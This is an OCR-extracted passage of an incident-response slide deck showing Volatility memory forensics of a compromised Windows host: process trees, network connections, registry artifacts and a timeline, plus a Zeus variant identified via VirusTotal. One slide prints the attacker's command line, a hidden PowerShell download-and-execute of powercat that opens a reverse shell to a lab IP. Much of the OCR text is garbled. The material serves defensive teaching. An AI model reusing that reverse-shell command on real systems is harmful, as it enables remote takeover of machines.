.. Oxffffa680f8e947cO:svchost.exe 1456 608 8 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f9167640:svchost.exe 292 608 46 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f8c377c0:SecurityHealth 2076 608 5 0 2020-10-05 15:17:33 UTC+0000
. Oxffffa680f76cd7cO:svchost.exe 1328 608 7 0 2020-10-05 15:17:32 UTC+0000
... Oxffffa680f7ee5380:audiodg.exe 4040 1328 7 0 2020-10-05 19:37:17 UTC+0000
.. oxffffa680f8e54080:svchost.exe 1416 608 4 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f9957300:svchost.exe 3548 608 14 0 2020-10-05 15:18:45 UTC+0000
.. Oxffffa680f90bb7co:svchost.exe 824 608 13 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680fa3026c0:SearchIndexer. 3316 608 17 0 2020-10-05 15:25:20 UTC+0000
... Oxffffa680fa53b400:SearchFilterHo 2532 3316 7 0 2020-10-05 19:42:55 UTC+0000
... Oxffffa680fa483080:SearchProtocol 2968 3316 8 0 2020-10-05 19:42:55 UTC+0000
. Oxffffa680f918f500:svchost.exe 480 608 24 0 2020-10-05 15:17:32 UTC+0000
.. Oxffffa680f916a7c0:svchost.exe 324 608 18 0 2020-10-05 15:17:32 UTC+0000
. oxffffa68of8fe67cO:svchost.exe 712 608 21 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f80ca7cO:InstallAgent.e 4500 712 7 0 2020-10-05 15:38:46 UTC+0000
. Oxffffa680fobfc7cO:Searchul.exe 2200 712 34 0 2020-10-05 15:18:47 UTC+0000
Oxffffa680f7651040:System 4 0 115 0 2020-10-05 15:17:30 UTC+0000
. Oxffffa680f8c81040:MemCompression 2264 - 18 0 2020-16-05 15:17:34 UTC+0000
. Oxffffa680f86c3380:smss.exe 280 9 2 0 2020-16-65 15:17:30 UTC+0000
. Oxffffa680f8f0do80:smss.exe 460 280 0 ------ 2020-10-05 15:17:31 UTC+0000
. oxffffa680f8f67480:winlogon.exe 564 460 3 0 2020-10-05 15:17:31 UTC+0000
. Oxffffa680f9117080:dwm.exe 936 564 11 0 2020-10-05 15:17:31 UTC+0000
oxffffa680f8fe5640: fontdrvhost.ex 720 564 5 0 2020-10-05 15:17:31 UTC+0000
«... Oxffffa680f99927c0O:userinit.exe 3772 564 0 ------ 2020-10-05 15:18:45 UTC+0000
..... oxffffa680f99b4a7cO:explorer.exe 3040 3772 87 0 2020-10-05 15:18:45 UTC+0000
veeo T OXFFffa680f88d57cO:MSASCuiL.exe = S04 3040 3 0 2020-10-05 15:18:59 UTC+0000
T OXTTTT3680TYS531CUONEDT tVE.exe | SL1v B U 2020-10-0 TI9:0Z U U000
.. ). Oxffffa680f96237cO:EXCEL.EXE 7072 3040 18 0 2020-10-05 19:42:57 UTC+0000
...v.. Oxffffa68of9e3f340:powershell.exe = 2028 7072 23 0 2020-10-05 19:42:58 UTC+0000
vevef... OXFFffa680f80cb080O:cmd.exe 3172 2028 2 0 2020-10-05 19:43:01 UTC+0000
Oxffffa6R0fas536086:conhost exe 3296 2028 11 0 2020-10-05 19:42:58 UTC:0060
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Process Tracing | # vol.py -f mem.vmem --profile=Win10x64_ 15063 psscan --
output=dot --output-file=file.dot

1 Home Desktop cases Mem Dot Files

-

Recent

Home

OpenWith XDot —— 7072 | EXCEL.EXE | running 904 | MSASCuilL.exe | n

Open With Other Application

Desktop

Documents

Downloads

'

2028 | powershell.exe | running

N

3296 | conhost.exe | running 3172 | cmd.exe | running

Music

Pictures

Videos

Trash

Other Locations
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Network List| # vol.py -f mem.vmem --profile=Win10x64 15063 netscan

pbffset(P) Proto Local Address Foreign Address State Pid owner Created
0xa680f764b010 UDPv4 192.168.2.234:58110 *o¥ 1780 svchost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f764d400 UDPv6 fe80::3901:8969:3008:991:58108 *:* 1780 svchost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f7846ec UDPv4 0.0.0.0:3702 HiH 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7846ec UDPv6 113702 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f764d0bo TCPv4 0.0.0.0:49666 LISTENING 324 svchost.exe 2020-160-05 15:17:32 UTC+0000
0xa680f7664430 TCPv4 0.0.0.0:49665 LISTENING 996 svchost.exe 2020-10-05 15:17:32 UTC+0000
0xa680f7664a80 TCPv4 0.0.0.0:49665 LISTENING 996 svchost.exe 2020-10-05 15:17:32 UTC+0000
Oxa680f7664a80 TCPv6 1::49665 LISTENING 996 svchost.exe 2020-10-85 15:17:32 UTC+0000
0xa680f7687a00 TCPv4 0.0.0.0:49666 LISTENING 324 svchost.exe 2020-10-05 15:17:32 UTC+0000
0xa680f7687a00 TCPv6 $::49666 LISTENING 324 svchost.exe 2020-10-05 15:17:32 UTC+0000
0xa680f7a10840 UDPv4 192.168.2.234:137 4 Systenm 2020-10-05 15:17:32 UTC+0000
0xa680f7e0aa60 UDPv4 0.0.0.0:3702 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7e0aa60 UDPv6 1113702 1780 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7e0bo0e UDPv4 0.0.0.0:5353 1276 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ebd6an UDPv4 0.0.0.0:0 HiH 1276 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ebd6an UDPv6 11:0 FiH 1276 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ee1840 UDPv4 0.0.0.0:3702 *o¥ 1180 dasHost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7ee1840 UDPv6 1113702 *o¥ 1180 dasHost.exe 2020-10-05 19:43:21 UTC+0000
Oxa680f7ed5cco TCPv4 192.168.2.234:51498 173.194.175.109:993 CLOSED 7072 EXCEL.EXE
0xa680f7fboo1e TCPv4 192.168.2.234:51315 40.100.138.130:443 CLOSED 2200 SearchUI.exe
0xa680f7ffo640 UDPv4 0.0.0.0:58113 HiH 1180 dasHost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f7f 9640 UDPv6 $::58113 *¥ 1180 dasHost.exe 2020-10-05 16:31:24 UTC+0000
0xa680f7fffb70 UDPv4 0.0.0.0:3702 *o¥ 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f7fffb70 UDPv6 1113702 ok 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f804e010 UDPv4 0.0.0.0:0 HiH 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f804e010 UDPv6 11:0 HiH 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f80332a0 TCPv4 192.168.2.234:50897 23.36.89.25:443 CLOSED 996 svchost.exe
0xa680f80acO10 UDPv4 0.0.0.0:3702 *o¥ 292 svchost.exe 2020-10-05 19:43:21 UTC+0000
0xa680f80c8ccO TCPv4 192.168.2.234:50585 8.252.241.254:80 CLOSED 996 svchost.exe
Oxa680T812e9dO TCPv4 192.168.2.234:50909 72.21.81.240:80 CLOSED 996 svchost.exe
0xa680f8161cce TCPv4 192.168.2.234:50509 205.185.216.10:80 CLOSED 996 svchost.exe
0xa680f81a6010 UDPv4 0.0.0.0:59267 HiH 292 svchost.exe 2020-10-05 16:31:27 UTC+0000
0xa680781a6010 UDPv6 1:1:59267 L 292 svchost.exe 2020-10-05 16:31:27 UTC+0000
0xa680f81ada30 UDPv4 0.0.0.0:0 ok 2028 powershell.exe 2020-10-05 19:43:00 UTC+0000
0xa680f83506b0 UDPv6 ::1:58109 *o¥ 1780 svchost.exe 2020-10-05 16:31:24 UTC+0000
bxaéBﬂfBladaSﬂ UDPv4 0.0.0.0:0 L 2028 powershell.exe
Oxa680f8e8cech UDPv4 0.0.0.0:0 HoH 2028 powershell.exe
OxacB80f8eBcech UDPvo :::0 %ok 2028 powershell.exe
Oxa6806f9373310 UDPv4 0.0.0.0:0 ok 2028 powershell.exe
0xa6807f9373310 UDPv6 11:0 e 2028 powershell.exe 19:43:80 UTC+8000
Bxa680f9%9a5ecch TCPv4 192.168.2.234:51565 192.168.2.244:1234 CLOSED 2028 powershell.exe
Oxa680fa5ab0ed UDPv4 0.0.0.0:0 *rk 2028 powershell.exe |2020-10-05 19:43:00 UTC+0000
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Command Line | # vol.py -f mem.vmem --profile=Win10x64_ 15063 cmdline -p 2028

%k 3k 3k 3k 3k sk 3k 5k 5k sk sk 5k 5k 5k 3k %k 5k 5k 5k 3k %k >k 5k 5k 5k %k >k 5k 5k 5k %k %k 5k 5k 5k %k %k 5k 5k 5k sk %k >k 5k 5k sk %k >k 3k 5k 3k %k %k 5k 5k %k %k %k >k 5k %k %k %k >k 5k %k %k %k k ok k k

powershell.exe pid: 2028
Command line : powershell.exe -WindowStyle Hidden -c IEX(New-Object
System.Net.WebClient).DownloadString('http://192.168.2.244/powercat.ps1');powercat -c 192.168.2.244 -p 1234 -e cmd

Reverse Shell to Victim

* PowerShell Downloading a PS script called Powercat
* Executing a reverse shell to the same host on port 1234
* Bypassed most AV tools when tested

Retrieval of the Powercat PS1



Network Scanning and Process Tree

# vol.py -f mem.vmem --profile=Win10x64_15063 netscan
# vol.py -f mem.vmem --profile=Winl@xtd 15863 netscan

Volatility Foundation Volatility Framework 2.6.1

Offset(P) Local Address Foreign Address Pid
Bxabdef764bole 172.16.176.143:1854 185.193.98.2508:80 856
B@xabBef76dd4ee 8.0.8.0:1056 185.193.98.2508:80 856

# vol.py -f mem.vmem --profile=Win10x64_ 15063 pstree

# vol.py -f mem.vmem --profile=Winl@x64 15863 pstree
Volatility Foundation Volatility Framework 2.6.1
Mame Pid PPid Thds Hnds Time
@xfTabd88+7651840:5ystem 4 a 58 379 2020-10-95 15:17:38 UTC+2000
. OxffffabB@f86c3380:smss.exe 544 4 3 21 2820-18-85 15:17:38 UTC+oe8e
. BxffffabB8@f8f67480:winlogon.exe 632 544 24 536 2020-18-85 15:17:31 UTC+208600
. BxfFffab8e+9117880:1lsass.exe 683 632 21 485 2829-10-85 15:17:31 UTC+oe8e
. Bxffffabd0f3fe56d0: services.exe 676 632 16 288 2020-18-85 15:17:31 UTC+20868
. BxffffabB8@f99927c@:cmd. exe 124 676 g ----- 2020-18-85 15:18:45 UTC+2008
..... @xfffabB88+99b47cd:svchost.exe 856 676 29 336 2020-18-05 15:18:45 UTC+20800
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IP Indicator Lookup

Analysis Date 2020-10-06 11:26:17

 We can see that svchost.exe is o o
the process which is making
connections with 185.193.90.250 IP Address 185.193.90.250 Find Sites | IP Whos
instead of an Internet Browser

* http://www.ipvoid.com/scan/185
.193.90.250/

Continent Europe

Country Code = (RU) Russia

Latitude / Longitude 55.7386 / 37.6068 Google Map
City Unknown

Region Unknown
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Process Dump| # vol.py -f mem.vmem --profile=Win10x64_15063 procdump -p PID

--dump-dir=./

+ We can then dump the process ()
we know is calling out S ———
svchost.exe to a file —— "’

* SHA/MD5 the dump file or
upload the .exe itself .

* |nput it into VirusTotal B -

* Voila! Zeus variant ccccccc
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Registry UserAssist | # vol.py -f mem.vmem --profile=Win10x64_ 15063 userassist

GUI-based programs launched from the desktop are tracked in the launcher on a Windows System

x00000630 df 9a 90 77 60 00 60 0O b2 €0 65 00 00 00 80 B0  ...W....orenenon Focus Count: 182
x00000640 01 60 0O 60 OO 00 60 0O 00 0 6O 00 Time Focused: 6:56:58,748000

Last updated: 2020-88-89 11:15:33 UTC+0000
EG_BINARY %windir¥\system32\displayswitch.exe Raw Data:
ount: 13 Ix00000000 00 00 00 00 41 00 00 00 b6 00 00 00 88 bf 7d 01  ....A.......uils
ocus Count: 19 IxBOEEEO10 66 00 86 bf 00 00 80 bf @0 60 80 bf MO 00 80 bf  ................
ime Focused: 0:06:20.500000 Ix00000020 06 00 80 bf 00 00 80 bf 00 60 80 bf 00 00 80 bf .......cvvvvuuass
ast updated: 2020-06-14 11:36:46 UTC+0000 Ix00000830 00 00 80 bf 00 ©8 80 bf ff ff ff ff 90 ac 23 66  .............. #f
aw Data: IXEOOOEO40 3e 6e d6 O1 00 OO 60 OO Y P
x00AOO6EE 00 60 00 00 6d 6O A0 68 13 66 6P 00 60 cc 65 60
x00000018 06 80 80 bf 00 00 80 bf 60 08 80 bf 00 68 80 bf REG_BINARY C:\Users\admin\Downloads\vlc-3.0.10-win32.exe :
x00000020 00 60 80 bf 60 60 80 bf 00 €0 80 bf 00 00 80 bf Zount: <]
xX00000030 00 60 80 bf 60 60 80 bf ff ff ff ff a0 ff Ge 16 ... Focus Count: 8
x00000040 48 42 d6 01 00 60 00 00 @...... Time Focused: 0:01:45.630000

Last updated: 1970-01-01 00:00:00 UTC+0000
EG_BINAR %¥windir%\system32\calc.exe : Raw Data:
ount: . IXEO00E000 66 00 A0 OO 6O 00 00 A0 B8 60 00 00 aa 93 01 00  .....iieiiiaaans
ocus Count: 17 Ix00000010 66 00 80 bf 90 00 80 bf ©@ 00 80 bf 00 @0 80 bf ............uun.
ime Focused: ©:05:40.500000 IX0O0000020 66 00 80 bf 00 00 80 bf ©0 60 80 bf 00 00 80 bf  ............u...
ast updated: 2020-06-14 11:36:46 UTC+0080 Ix00000030 060 00 80 bf 00 60 80 bf ff ff ff ff G0 00 80 00  ......ovvuuuunnnn
aw Data: Ix00000040 06 00 00 00 00 0O 00 00 e .
x00000000 00 60 00 60 Bc 60 06 0O 11 66 6O 00 20 30 65 60
xB00EAO10 00 60 80 bf 08 00 80 bf 80 @8 80 bf 60 00 80 bf REG_BINARY %ProgramFiles%\VideoLAN\VLC\vlc.exe
x000006260 00 @0 B0 bf @0 60 80 bf 60 @@ 80 bf 80 0O 80 bf tount: e
x00000030 06 60 80 bf 00 @0 80 bf ff ff ff ff a0 ff @e 16 ... Focus Count: 55
x000E0040 48 42 d6 ©1 00 6O 00 08 @B...... Time Focused: 1 day, 8:37:39.969000

Last updated: 2020-08-09 00:19:26 UTC+0000
EG_BINARY Microsoft.Windows.5tickyNotes : Raw Data:
Sunt: 11 Ix00000000 06 00 00 66 24 00 00 0O 37 00 00 00 Od 4a 00 07  ....5...7....30..
ocus Count: 15 Ix00000016 06 00 80 bf 00 ©0 80 bf 00 68 86 bf 60 60 80 bf ................
ime Focused: ©:05:00.500000 IX00000020 66 00 80 bf 60 0@ 80 bf ©6 60 80 bf MO 00 80 bf .......c...ouu..
ast updated: 2020-086-14 11:36:46 UTC+0000 Ix00000030 00 00 80 bf 00 @0 80 bf ff ff ff ff 90 3b c6 bd ......... ..., He
aw Data: IXBOEOE040 e2 6d d6 ©1 00 OO 66 00 . TR
x00HEOEEE 0O 60 0O 60 6b 60 06 68 Of O 6P 00 0 93 84 60
xBEAEAE10 0O 60 86 bf 08 60 80 bf 80 0 80 bf 60 00 B8O bf REG_BINARY swindir®\system32\wuauclt.exe :
x000POO20 06 60 86 bf 00 60 80 bf @0 60 80 bf 00 00 80 bf Count: 0
x00000030 06 060 86 bf 00 006 80 bf ff ff ff ff a6 ff e 16 focus Count: 4
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Registry Shellbags | # vol.py -f mem.vmem --profile=Win10x64 15063 shellbags

Which folders were accessed on the local machine, the network, and/or removable devices.

Registry: Z\??\C:\Users“Amy Walsh\AppData\Local‘\Microsoft\Windows\UsrClass.dat
Key: Local Settings\Software\Microsoft\Windows%S5hell\BagMRUY141
Last updated: 20828-18-85 19:37:28 UTC+B008

Value Mru File Name Modified Date Create Date

1 1 HACK-~1 2028-10-85 17:86:16 UTC+0800 2028-10-85 17:86:16 UTC+B000
a 2 DATA~1 2028-10-85 17:86:16 UTC+0800 2028-10-85 17:86:16 UTC+B000
2 8 MIMI~1 2828-10-85 15:16:88 UTC+0880 2817-83-18 11:48:22 UTC+06080

Access Date

2028-10-85 17:86:16 UTC+B00
2028-10-85 17:86:16 UTC+B00
2028-10-85 15:16:88 UTC+880

File Attr

DIR
DIR
DIR

Path

[OOL\HACK
Backupsi\Users
buperhSecret\Stuff

m m m
P
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Timeliner | # vol.py -f mem.vmem --profile=Win10x64 15063 timeliner

mactimetxt - Excel

Insert Draw

Page Layout Formulas Data Review View Help Q Tell me what you want to do

L] &Cut

Ex|==E o 2w B Y [noma Bad
Paste E@ Copy ~ I u £y A S —— $ % 0 0 Conditional Forrﬁt as Explanatory
[ ] E t t t'f t 1 y th t - ' Format Painter a4~ - 2 v | EEE= Merge & Center ~ = L ] Formatting +  Table~ lZI expianatory
X rac S a r I ac S In memor a Clipboard [l Font [ Alignment ] Number [

have a timestamp associated.

D77423 7 2 [DLL LOADTIME {dll)] berypt.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DLL Base: 0x73970000

* Data from mftparser and shellbags T3 e O G5 2020194255
plugins can be combined as well P20 o0 s 00 0358

* You can feed this into a super-

77395 Mon Oct 05 2020 19:42:58

timeline using Plaso log2timeline-

77357 Mon Oct 05 2020 19:42:58

0 [THREAD] conhost.exe PID: 3296/TID: 4540
0 [THREAD] conhost.exe PID: 3296/TID: 672
0 [THREAD] powershell.exe PID: 2028/TID: 2688
108227 [MFT FILE_NAME] Users\AMYWAL~1\DOCUME™1\*$PROF~1.XLS (Offset: Dx4731e8)
108227 [MFT FILE NAME] Users\AMYWAL™1\DOCUME™1\"$Profit-and-Loss-Statement.xlsm (Offset: 0x4731e8)
108227 [MFT STD_INFO] Users\AMYWAL™1\DOCUME™~1\~SPROF~1.XLS (Offset: 0x4731e8)
108261 [MFT FILE_NAME] Users\AMYWAL~1\AppData\Roaming\MICROS~1\Office\Recant\PROFIT 2.LNK [Offset: 0x470478)
108261 [MFT FILE_NAME] Users\AMYWAL™1\AppData\Roaming\MICROS~1\Office\Recent\Profit-and-LosO/E3-Statement. xlsm.LNK (|
108261 [MFT STD_INFO] Users\AMYWAL™1\AppData\Roaming\MICROS™~1\Office\Recent\PROFIT~2.LNK [Offset: 0x470478)
87036 [MFT STD_INFO] Users\AMYWAL™1\DOCUME™1 (Offset: 0x10be000)
87575 [MFT STD_INFO] Users\Amy Walsh\AppData\Roaming\Microsoft\Windows\Recent\AutomaticDestinations\FO1B4D™1.AUT ((

Create d Comprehen5|ve View Of :;:j; Mon Oct 05 2020 18:42:58

Maon Oct 05 2020 19:42:59

0 [DLL LOADTIME (dIl)] ADVAPI32.dIl Process: powershell.exe/PID: 2028/PPID: 7072/ Process POffset: 0x414e1340/DLL Base: Ox]

W h at h a S OCC u rred O n d iS k a n d I OgS 77400 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (d11)] ATL.DLL Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x67ch0l
77401 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] CRYPT32.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x75

M 77402 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] CRYPTBASE.dII Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DLL Base: 03

b ut a I SO W h at OCC u rre d I n m e m O ry- 77403 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] CRYPTSP.dIl Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x73
77404 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] GDI32.d1l Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DLL Base: 0x7435

77405 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dll)] IMM32.DLL Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x76¢

77406 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dII)] LINKINFO.dII Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x7

77407 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] MSASNI.dIl Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x414e1340/DLL Base: 0x76

77408 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] MSVCR120 CLR0400.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process POffset: 0x41421340/DL

77409 Mon Oct 05 2020 19:42:59 0 [DLL LOADTIME (dIl)] Microsoft.Management.Infrastructure.ni.dll Process: powershell.exe/PID: 2028/PPID: 7072/Process PO/

77410/ Maon Oct 05 2020 19:42:59 0011 OADTIMF (dIV] MoOav.dll Process: nowershell.exe/BIN: 2028/PPIN: 7072/ Process POffset: 0x41421340/D11 Rase: Nx64af!
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In Closing...

,L\>j Don’t forget about the important role that live analysis plays as part of IR

.~ Ensure your IR process includes memory analysis — make sure you don’t pull the
j plug on systems or you look this critical volatile data!

)4 - Adversaries use various techniques (persistence, code injection, hiding
\‘J\ ) techniques, etc.) to elude traditional security tools

a The use of live forensics will augment your ability to better identify and these
) techniques and respond to attacks in a timely manner — reducing the dwell time.
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Twitter: @PeterMorinl23
http://www.petermorin.com

@PeterMorinl123



	Slide 1
	Slide 2
	Slide 3: Importance of Live Forensics | Incident Response
	Slide 4: Importance of Live Forensics | Incident Response
	Slide 5: Key Windows Artifacts | Registry
	Slide 6
	Slide 7: Key Windows Artifacts | Explorer
	Slide 8: Key Windows Artifacts | Explorer
	Slide 9: Key Windows Artifacts | Explorer
	Slide 10
	Slide 11: Key Windows Artifacts | Shellbags
	Slide 12
	Slide 13: Key Windows Artifacts | USB Devices
	Slide 14: Key Windows Artifacts | USB Devices
	Slide 15: Key Windows Artifacts | USB Devices
	Slide 16: Key Windows Artifacts | LNK “Link” Files
	Slide 17: Key Windows Artifacts | LNK “Link” Files
	Slide 18: Key Windows Artifacts | Activities Cache Database 
	Slide 19
	Slide 20: Key Windows Artifacts – Prefetcher and Superfetcher
	Slide 21
	Slide 22
	Slide 23: Key Windows Artifacts – AppCompatCache (ShimCache)
	Slide 24: Key Windows Artifacts – AppCompatCache (ShimCache)
	Slide 25
	Slide 26: Investigating common Windows Processes
	Slide 27: Investigating common Windows Processes
	Slide 28: Investigating common Windows Processes | LSASS.exe
	Slide 29
	Slide 30: Key Windows Artifacts – KAPE
	Slide 31
	Slide 32
	Slide 33: Memory | Incident Response
	Slide 34
	Slide 35: Incident Response Example 
	Slide 36: Tools - Acquisition
	Slide 37: Tools - Acquisition (FTK Imager)
	Slide 38: Memory Analysis
	Slide 39: Memory Profile| # vol.py -f mem.vmem imageinfo
	Slide 40: Core Functionality of Volatility | Plugins
	Slide 41: Process List | # vol.py -f mem.vmem --profile=Win10x64_15063 pslist 
	Slide 42: Process Tree | # vol.py -f mem.vmem --profile=Win10x64_15063 pstree 
	Slide 43: Process Tracing | # vol.py -f mem.vmem --profile=Win10x64_15063 psscan --output=dot --output-file=file.dot 
	Slide 44: Network List| # vol.py -f mem.vmem --profile=Win10x64_15063 netscan 
	Slide 45: Command Line | # vol.py -f mem.vmem --profile=Win10x64_15063 cmdline -p 2028 
	Slide 46: Network Scanning and Process Tree
	Slide 47: IP Indicator Lookup
	Slide 48: Process Dump| # vol.py -f mem.vmem --profile=Win10x64_15063 procdump  -p PID --dump-dir=./ 
	Slide 49: Registry UserAssist | # vol.py -f mem.vmem --profile=Win10x64_15063 userassist 
	Slide 50: Registry Shellbags | # vol.py -f mem.vmem --profile=Win10x64_15063 shellbags 
	Slide 51: Timeliner | # vol.py -f mem.vmem --profile=Win10x64_15063 timeliner
	Slide 52: In Closing…
	Slide 53

